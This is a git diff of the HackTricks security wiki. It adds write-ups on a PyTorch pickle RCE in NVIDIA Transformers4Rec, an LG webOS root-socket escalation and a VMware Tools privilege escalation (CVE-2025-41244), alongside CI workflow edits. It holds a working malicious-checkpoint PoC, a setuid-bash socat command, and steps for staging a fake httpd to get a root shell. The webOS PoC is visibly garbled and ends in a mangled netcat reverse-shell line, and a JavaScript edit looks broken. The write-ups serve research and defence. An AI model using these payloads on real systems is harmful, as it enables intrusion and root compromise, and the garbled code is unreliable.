diff --git a/.github/workflows/build_master.yml b/.github/workflows/build_master.yml index 7d51d34c1..94f5b5b94 100644 --- a/.github/workflows/build_master.yml +++ b/.github/workflows/build_master.yml @@ -67,13 +67,27 @@ jobs: export GH_TOKEN="$TOKEN" # Delete the release if it exists - if gh release view "$TAG" >/dev/null 2>&1; then + echo "Checking if release $TAG exists..." + if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then echo "Release $TAG already exists, deleting it..." - gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" + gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag || { + echo "Failed to delete release, trying without cleanup-tag..." + gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" || { + echo "Warning: Could not delete existing release, will try to recreate..." + } + } + sleep 2 # Give GitHub API a moment to process the deletion + else + echo "Release $TAG does not exist, proceeding with creation..." fi - # Create new release - gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY" + # Create new release (with force flag to overwrite if deletion failed) + gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY" || { + echo "Failed to create release, trying with force flag..." + gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag >/dev/null 2>&1 || true + sleep 2 + gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY" + } # Login in AWs diff --git a/.github/workflows/translate_all.yml b/.github/workflows/translate_all.yml index 8f3c0fcb3..b0444f9a7 100644 --- a/.github/workflows/translate_all.yml +++ b/.github/workflows/translate_all.yml @@ -106,7 +106,7 @@ jobs: fi done - echo "Files to translate:" + echo "Files to translate (`wc -l < /tmp/file_paths.txt`):" cat /tmp/file_paths.txt echo "" echo "" diff --git a/resolve_searchindex_conflicts.sh b/resolve_searchindex_conflicts.sh deleted file mode 100755 index bfce65f5e..000000000 --- a/resolve_searchindex_conflicts.sh +++ /dev/null @@ -1,139 +0,0 @@ -#!/bin/bash - -# Script to resolve searchindex.js conflicts by accepting master branch version -# This script is designed to handle merge conflicts that occur when PRs become -# desynchronized due to the auto-generated searchindex.js file. -# -# The searchindex.js file is automatically generated by the build process and -# frequently causes conflicts when multiple PRs are waiting to be merged. -# This script automatically resolves those conflicts by accepting the master -# branch version of the file. -# -# Usage: resolve_searchindex_conflicts.sh - -set -euo pipefail - -# Validate arguments -if [ $# -ne 3 ]; then - echo "Usage: $0 " - exit 1 -fi - -PR_NUMBER="$1" -HEAD_BRANCH="$2" -BASE_BRANCH="$3" - -# Validate required environment variables -if [ -z "${GITHUB_REPOSITORY:-}" ]; then - echo "Error: GITHUB_REPOSITORY environment variable is required" - exit 1 -fi - -if [ -z "${GH_TOKEN:-}" ]; then - echo "Error: GH_TOKEN environment variable is required" - exit 1 -fi - -echo "Resolving conflicts for PR #$PR_NUMBER (branch: $HEAD_BRANCH -> $BASE_BRANCH)" - -# Get current directory for safety -ORIGINAL_DIR=$(pwd) - -# Create a temporary directory for the operation -TEMP_DIR=$(mktemp -d) -echo "Working in temporary directory: $TEMP_DIR" - -cleanup() { - echo "Cleaning up..." - cd "$ORIGINAL_DIR" - rm -rf "$TEMP_DIR" -} -trap cleanup EXIT - -# Clone the repository to the temp directory -echo "Cloning repository..." -cd "$TEMP_DIR" -gh repo clone "$GITHUB_REPOSITORY" . --branch "$HEAD_BRANCH" - -# Configure git -git config user.email "action@github.com" -git config user.name "GitHub Action" - -# Fetch all branches -git fetch origin - -# Make sure we're on the correct branch -git checkout "$HEAD_BRANCH" - -# Try to merge the base branch -echo "Attempting to merge $BASE_BRANCH into $HEAD_BRANCH..." -if git merge "origin/$BASE_BRANCH" --no-edit; then - echo "No conflicts found, merge successful" - - # Push the updated branch - echo "Pushing merged branch..." - git push origin "$HEAD_BRANCH" - exit 0 -fi - -# Check what files have conflicts -echo "Checking for conflicts..." -conflicted_files=$(git diff --name-only --diff-filter=U) -echo "Conflicted files: $conflicted_files" - -# Check if searchindex.js is the only conflict or if conflicts are only in acceptable files -acceptable_conflicts=true -searchindex_conflict=false - -for file in $conflicted_files; do - case "$file" in - "searchindex.js") - searchindex_conflict=true - echo "Found searchindex.js conflict (acceptable)" - ;; - *) - echo "Found unacceptable conflict in: $file" - acceptable_conflicts=false - ;; - esac -done - -if [ "$acceptable_conflicts" = false ]; then - echo "Cannot auto-resolve: conflicts found in files other than searchindex.js" - git merge --abort - exit 1 -fi - -if [ "$searchindex_conflict" = false ]; then - echo "No searchindex.js conflicts found, but merge failed for unknown reason" - git merge --abort - exit 1 -fi - -echo "Resolving searchindex.js conflict by accepting $BASE_BRANCH version..." - -# Accept the base branch version of searchindex.js (--theirs refers to the branch being merged in) -git checkout --theirs searchindex.js -git add searchindex.js - -# Check if there are any other staged changes from the merge -staged_files=$(git diff --cached --name-only || true) -echo "Staged files after resolution: $staged_files" - -# Complete the merge -if git commit --no-edit; then - echo "Successfully resolved merge conflicts" - - # Push the updated branch - echo "Pushing resolved branch..." - if git push origin "$HEAD_BRANCH"; then - echo "Successfully pushed resolved branch" - exit 0 - else - echo "Failed to push resolved branch" - exit 1 - fi -else - echo "Failed to commit merge resolution" - exit 1 -fi \ No newline at end of file diff --git a/src/AI/AI-Models-RCE.md b/src/AI/AI-Models-RCE.md index db7f459d1..705a4be2a 100644 --- a/src/AI/AI-Models-RCE.md +++ b/src/AI/AI-Models-RCE.md @@ -12,6 +12,7 @@ At the time of the writting these are some examples of this type of vulneravilit |-----------------------------|------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------| | **PyTorch** (Python) | *Insecure deserialization in* `torch.load` **(CVE-2025-32434)** | Malicious pickle in model checkpoint leads to code execution (bypassing `weights_only` safeguard) | | | PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + malicious model download causes code execution; Java deserialization RCE in management API | | +| **NVIDIA Merlin Transformers4Rec** | Unsafe checkpoint deserialization via `torch.load` **(CVE-2025-23298)** | Untrusted checkpoint triggers pickle reducer during `load_model_trainer_states_from_checkpoint` → code execution in ML worker | [ZDI-25-833](https://www.zerodayinitiative.com/advisories/ZDI-25-833/) | | **TensorFlow/Keras** | **CVE-2021-37678** (unsafe YAML)
**CVE-2024-3660** (Keras Lambda) | Loading model from YAML uses `yaml.unsafe_load` (code exec)
Loading model with **Lambda** layer runs arbitrary Python code | | | TensorFlow (TFLite) | **CVE-2022-23559** (TFLite parsing) | Crafted `.tflite` model triggers integer overflow → heap corruption (potential RCE) | | | **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Loading a model via `joblib.load` executes pickle with attacker’s `__reduce__` payload | | @@ -102,6 +103,51 @@ location /api/v2/models/install { } ``` +### 🆕 NVIDIA Merlin Transformers4Rec RCE via unsafe `torch.load` (CVE-2025-23298) + +NVIDIA’s Transformers4Rec (part of Merlin) exposed an unsafe checkpoint loader that directly called `torch.load()` on user-provided paths. Because `torch.load` relies on Python `pickle`, an attacker-controlled checkpoint can execute arbitrary code via a reducer during deserialization. + +Vulnerable path (pre-fix): `transformers4rec/torch/trainer/trainer.py` → `load_model_trainer_states_from_checkpoint(...)` → `torch.load(...)`. + +Why this leads to RCE: In Python pickle, an object can define a reducer (`__reduce__`/`__setstate__`) that returns a callable and arguments. The callable is executed during unpickling. If such an object is present in a checkpoint, it runs before any weights are used. + +Minimal malicious checkpoint example: + +```python +import torch + +class Evil: + def __reduce__(self): + import os + return (os.system, ("id > /tmp/pwned",)) + +# Place the object under a key guaranteed to be deserialized early +ckpt = { + "model_state_dict": Evil(), + "trainer_state": {"epoch": 10}, +} + +torch.save(ckpt, "malicious.ckpt") +``` + +Delivery vectors and blast radius: +- Trojanized checkpoints/models shared via repos, buckets, or artifact registries +- Automated resume/deploy pipelines that auto-load checkpoints +- Execution happens inside training/inference workers, often with elevated privileges (e.g., root in containers) + +Fix: Commit [b7eaea5](https://github.com/NVIDIA-Merlin/Transformers4Rec/pull/802/commits/b7eaea527d6ef46024f0a5086bce4670cc140903) (PR #802) replaced the direct `torch.load()` with a restricted, allow-listed deserializer implemented in `transformers4rec/utils/serialization.py`. The new loader validates types/fields and prevents arbitrary callables from being invoked during load. + +Defensive guidance specific to PyTorch checkpoints: +- Do not unpickle untrusted data. Prefer non-executable formats like [Safetensors](https://huggingface.co/docs/safetensors/index) or ONNX when possible. +- If you must use PyTorch serialization, ensure `weights_only=True` (supported in newer PyTorch) or use a custom allow-listed unpickler similar to the Transformers4Rec patch. +- Enforce model provenance/signatures and sandbox deserialization (seccomp/AppArmor; non-root user; restricted FS and no network egress). +- Monitor for unexpected child processes from ML services at checkpoint load time; trace `torch.load()`/`pickle` usage. + +POC and vulnerable/patch references: +- Vulnerable pre-patch loader: https://gist.github.com/zdi-team/56ad05e8a153c84eb3d742e74400fd10.js +- Malicious checkpoint POC: https://gist.github.com/zdi-team/fde7771bb93ffdab43f15b1ebb85e84f.js +- Post-patch loader: https://gist.github.com/zdi-team/a0648812c52ab43a3ce1b3a090a0b091.js + ## Example – crafting a malicious PyTorch model - Create the model: @@ -192,5 +238,12 @@ For a focused guide on .keras internals, Lambda-layer RCE, the arbitrary import - [InvokeAI patch commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e) - [Rapid7 Metasploit module documentation](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/) - [PyTorch – security considerations for torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security) +- [ZDI blog – CVE-2025-23298 Getting Remote Code Execution in NVIDIA Merlin](https://www.thezdi.com/blog/2025/9/23/cve-2025-23298-getting-remote-code-execution-in-nvidia-merlin) +- [ZDI advisory: ZDI-25-833](https://www.zerodayinitiative.com/advisories/ZDI-25-833/) +- [Transformers4Rec patch commit b7eaea5 (PR #802)](https://github.com/NVIDIA-Merlin/Transformers4Rec/pull/802/commits/b7eaea527d6ef46024f0a5086bce4670cc140903) +- [Pre-patch vulnerable loader (gist)](https://gist.github.com/zdi-team/56ad05e8a153c84eb3d742e74400fd10.js) +- [Malicious checkpoint PoC (gist)](https://gist.github.com/zdi-team/fde7771bb93ffdab43f15b1ebb85e84f.js) +- [Post-patch loader (gist)](https://gist.github.com/zdi-team/a0648812c52ab43a3ce1b3a090a0b091.js) +- [Hugging Face Transformers](https://github.com/huggingface/transformers) -{{#include ../banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/README.md b/src/README.md index 48263c722..e2de6153a 100644 --- a/src/README.md +++ b/src/README.md @@ -226,7 +226,7 @@ https://www.lasttowersolutions.com/ ### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/) -
k8studio logo
+
k8studio logo
K8Studio IDE empowers DevOps, DevSecOps, and developers to manage, monitor, and secure Kubernetes clusters efficiently. Leverage our AI-driven insights, advanced security framework, and intuitive CloudMaps GUI to visualize your clusters, understand their state, and act with confidence. @@ -253,3 +253,4 @@ welcome/hacktricks-values-and-faq.md {{#include ./banners/hacktricks-training.md}} + diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 79f641eab..561fe52fb 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -110,6 +110,7 @@ - [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md) - [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md) - [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md) + - [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md) - [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md) - [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md) - [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md) @@ -949,4 +950,4 @@ - [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md) - [Post Exploitation](todo/post-exploitation.md) - [Investment Terms](todo/investment-terms.md) -- [Cookies Policy](todo/cookies-policy.md) \ No newline at end of file +- [Cookies Policy](todo/cookies-policy.md) diff --git a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md index db28ccb5a..2b30ce675 100644 --- a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md +++ b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md @@ -124,3 +124,4 @@ Guidance: Treat survivors that affect value transfers, accounting, or access con - [Slither (GitHub)](https://github.com/crytic/slither) {{#include ../../banners/hacktricks-training.md}} + diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 72217d607..d820428c9 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -1723,6 +1723,16 @@ Android rooting frameworks commonly hook a syscall to expose privileged kernel f android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} +## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) + +Regex-driven service discovery in VMware Tools/Aria Operations can extract a binary path from process command lines and execute it with -v under a privileged context. Permissive patterns (e.g., using \S) may match attacker-staged listeners in writable locations (e.g., /tmp/httpd), leading to execution as root (CWE-426 Untrusted Search Path). + +Learn more and see a generalized pattern applicable to other discovery/monitoring stacks here: + +{{#ref}} +vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +{{#endref}} + ## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) @@ -1774,4 +1784,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV) - [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) +- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) + {{#include ../../banners/hacktricks-training.md}} + diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md index d328a2019..2b726ad21 100644 --- a/src/linux-hardening/privilege-escalation/socket-command-injection.md +++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md @@ -43,7 +43,47 @@ unix 2 [ ACC ] STREAM LISTENING 901181 132748/python echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s ``` +## Case study: Root-owned UNIX socket signal-triggered escalation (LG webOS) + +Some privileged daemons expose a root-owned UNIX socket that accepts untrusted input and couples privileged actions to thread-IDs and signals. If the protocol lets an unprivileged client influence which native thread is targeted, you may be able to trigger a privileged code path and escalate. + +Observed pattern: +- Connect to a root-owned socket (e.g., /tmp/remotelogger). +- Create a thread and obtain its native thread id (TID). +- Send the TID (packed) plus padding as a request; receive an acknowledgement. +- Deliver a specific signal to that TID to trigger the privileged behaviour. + +Minimal PoC sketch: + +```python +import socket, struct, os, threading, time +# Spawn a thread so we have a TID we can signal +th = threading.Thread(target=time.sleep, args=(600,)); th.start() + tid = th.native_id # Python >=3.8 +s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) +s.connect("/tmp/remotelogger") +s.sendall(struct.pack('&1 | nc 23231 > /tmp/f +``` + +Notes: +- This class of bugs arises from trusting values derived from unprivileged client state (TIDs) and binding them to privileged signal handlers or logic. +- Harden by enforcing credentials on the socket, validating message formats, and decoupling privileged operations from externally supplied thread identifiers. + +## References + +- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/) + {{#include ../../banners/hacktricks-training.md}} + diff --git a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md new file mode 100644 index 000000000..00ec54166 --- /dev/null +++ b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md @@ -0,0 +1,153 @@ +# VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244) + +{{#include ../../banners/hacktricks-training.md}} + +This technique abuses regex-driven service discovery pipelines that parse running process command lines to infer service versions and then execute a candidate binary with a "version" flag. When permissive patterns accept untrusted, attacker-controlled paths (e.g., /tmp/httpd), the privileged collector executes an arbitrary binary from an untrusted location, yielding local privilege escalation. NVISO documented this in VMware Tools/Aria Operations Service Discovery as CVE-2025-41244. + +- Impact: Local privilege escalation to root (or to the privileged discovery account) +- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines +- Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy) + +## How VMware service discovery works (high level) + +- Credential-based (legacy): Aria executes discovery scripts inside the guest via VMware Tools using configured privileged credentials. +- Credential-less (modern): Discovery logic runs within VMware Tools, already privileged in the guest. + +Both modes ultimately run shell logic that scans processes with listening sockets, extracts a matching command path via a regex, and executes the first argv token with a version flag. + +## Root cause and vulnerable pattern (open-vm-tools) + +In open-vm-tools, the serviceDiscovery plugin script get-versions.sh matches candidate binaries using broad regular expressions and executes the first token without any trusted-path validation: + +```bash +get_version() { + PATTERN=$1 + VERSION_OPTION=$2 + for p in $space_separated_pids + do + COMMAND=$(get_command_line $p | grep -Eo "$PATTERN") + [ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND + done +} +``` + +It is invoked with permissive patterns containing \S (non-whitespace) that will happily match non-system paths in user-writable locations: + +```bash +get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v +get_version "/usr/(bin|sbin)/apache\S*" -v +get_version "/\S+/mysqld($|\s)" -V +get_version "\.?/\S*nginx($|\s)" -v +get_version "/\S+/srm/bin/vmware-dr($|\s)" --version +get_version "/\S+/dataserver($|\s)" -v +``` + +- Extraction uses grep -Eo and takes the first token: ${COMMAND%%[[:space:]]*} +- No whitelist/allowlist of trusted system paths; any discovered listener with a matching name is executed with -v/--version + +This creates an untrusted search path execution primitive: arbitrary binaries located in world-writable directories (e.g., /tmp/httpd) get executed by a privileged component. + +## Exploitation (both credential-less and credential-based modes) + +Preconditions +- You can run an unprivileged process that opens a listening socket on the guest. +- The discovery job is enabled and runs periodically (historically ~5 minutes). + +Steps +1) Stage a binary in a path matching one of the permissive regexes, e.g. /tmp/httpd or ./nginx +2) Run it as a low-privileged user and ensure it opens any listening socket +3) Wait for the discovery cycle; the privileged collector will automatically execute: /tmp/httpd -v (or similar), running your program as root + +Minimal demo (using NVISO’s approach) +```bash +# Build any small helper that: +# - default mode: opens a dummy TCP listener +# - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i) +# Example staging and trigger +cp your_helper /tmp/httpd +chmod +x /tmp/httpd +/tmp/httpd # run as low-priv user and wait for the cycle +# After the next cycle, expect a root shell or your privileged action +``` + +Typical process lineage +- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i +- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i + +Artifacts (credential-based) +Recovered SDMP wrapper scripts under /tmp/VMware-SDMP-Scripts-{UUID}/ may show direct execution of the rogue path: +```bash +/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr" +``` + +## Generalizing the technique: regex-driven discovery abuse (portable pattern) + +Many agents and monitoring suites implement version/service discovery by: +- Enumerating processes with listening sockets +- Grepping argv/command lines with permissive regexes (e.g., patterns containing \S) +- Executing the matched path with a benign flag like -v, --version, -V, -h + +If the regex accepts untrusted paths and the path is executed from a privileged context, you get CWE-426 Untrusted Search Path execution. + +Abuse recipe +- Name your binary like common daemons that the regex is likely to match: httpd, nginx, mysqld, dataserver +- Place it in a writable directory: /tmp/httpd, ./nginx +- Ensure it matches the regex and opens any port to be enumerated +- Wait for the scheduled collector; you get an automatic privileged invocation of -v + +Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth. + +Reusable privileged I/O relay trick +- Build your helper so that on privileged invocation (-v/--version) it connects to a known rendezvous (e.g., a Linux abstract UNIX socket like @cve) and bridges stdio to /bin/sh -i. This avoids on-disk artifacts and works across many environments where the same binary is re-invoked with a flag. + +## Detection and DFIR guidance + +Hunting queries +- Uncommon children of vmtoolsd or get-versions.sh such as /tmp/httpd, ./nginx, /tmp/mysqld +- Any execution of non-system absolute paths by discovery scripts (look for spaces in ${COMMAND%%...} expansions) +- ps -ef --forest to visualize ancestry trees: vmtoolsd -> get-versions.sh -> + +On Aria SDMP (credential-based) +- Inspect /tmp/VMware-SDMP-Scripts-{UUID}/ for transient scripts and stdout/stderr artifacts showing execution of attacker paths + +Policy/telemetry +- Alert when privileged collectors execute from non-system prefixes: ^/(tmp|home|var/tmp|dev/shm)/ +- File integrity monitoring on get-versions.sh and VMware Tools plugins + +## Mitigations + +- Patch: Apply Broadcom/VMware updates for CVE-2025-41244 (Tools and Aria Operations SDMP) +- Disable or restrict credential-less discovery where feasible +- Validate trusted paths: restrict execution to allowlisted directories (/usr/sbin, /usr/bin, /sbin, /bin) and only exact known binaries +- Avoid permissive regexes with \S; prefer anchored, explicit absolute paths and exact command names +- Drop privileges for discovery helpers where possible; sandbox (seccomp/AppArmor) to reduce impact +- Monitor for and alert on vmtoolsd/get-versions.sh executing non-system paths + +## Notes for defenders and implementers + +Safer matching and execution pattern +```bash +# Bad: permissive regex and blind exec +COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)") +[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v + +# Good: strict allowlist + path checks +candidate=$(get_command_line "$pid" | awk '{print $1}') +case "$candidate" in + /usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2) + "$candidate" -v 2>&1 ;; + *) + : # ignore non-allowlisted paths + ;; +esac +``` + +## References + +- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) +- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149) +- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh) +- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/) +- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/ruby-tricks.md b/src/network-services-pentesting/pentesting-web/ruby-tricks.md index f9601450a..dd44f17ec 100644 --- a/src/network-services-pentesting/pentesting-web/ruby-tricks.md +++ b/src/network-services-pentesting/pentesting-web/ruby-tricks.md @@ -176,3 +176,4 @@ URL-encoded PoC (first char is a newline): - [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html) {{#include ../../banners/hacktricks-training.md}} + diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md index 16e2dc06e..333050ee7 100644 --- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md +++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md @@ -20,7 +20,18 @@ msf> auxiliary/scanner/vmware/vmware_http_login If you find valid credentials, you can use more metasploit scanner modules to obtain information. + +### See also + +Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244): + +{{#ref}} +../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +{{#endref}} + {{#include ../../banners/hacktricks-training.md}} + + diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 1078dfb9a..94b2eeed3 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -744,6 +744,7 @@ _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
+ ## References - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) @@ -760,3 +761,4 @@ EN-Local-File-Inclusion-1.pdf {{#endfile}} {{#include ../../banners/hacktricks-training.md}} + diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md index 4a5bb5f99..7b7be411f 100644 --- a/src/pentesting-web/race-condition.md +++ b/src/pentesting-web/race-condition.md @@ -409,3 +409,4 @@ Once you have **obtained a valid RT** you could try to **abuse it to generate se + diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index dd6a54063..a5b53905c 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -48,7 +48,7 @@ Yes, you can, but **don't forget to mention the specific link(s)** where the con > [!TIP] > -> - **How can I a page of HackTricks?** +> - **How can I cite a page of HackTricks?** As long as the link **of** the page(s) where you took the information from appears it's enough.\ If you need a bibtex you can use something like: @@ -144,3 +144,4 @@ This license does not grant any trademark or branding rights in relation to the {{#include ../banners/hacktricks-training.md}} + diff --git a/theme/ai.js b/theme/ai.js index 761454181..22e64f5f8 100644 --- a/theme/ai.js +++ b/theme/ai.js @@ -491,3 +491,4 @@ handle.addEventListener("touchstart", onStart, { passive: false }); } })(); + diff --git a/theme/ht_searcher.js b/theme/ht_searcher.js index 77f10f607..6b105f263 100644 --- a/theme/ht_searcher.js +++ b/theme/ht_searcher.js @@ -68,11 +68,11 @@ const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download'; const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download'; - const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master'])); - const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master'])); + const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master'])); + const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master'])); - const MAIN_REMOTE_SOURCES = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`); - const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`); + const MAIN_REMOTE_SOURCES = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`); + const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`); const indices = []; const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main); @@ -208,3 +208,4 @@ listOut.classList.toggle('hidden',!docs.length); }; })(); +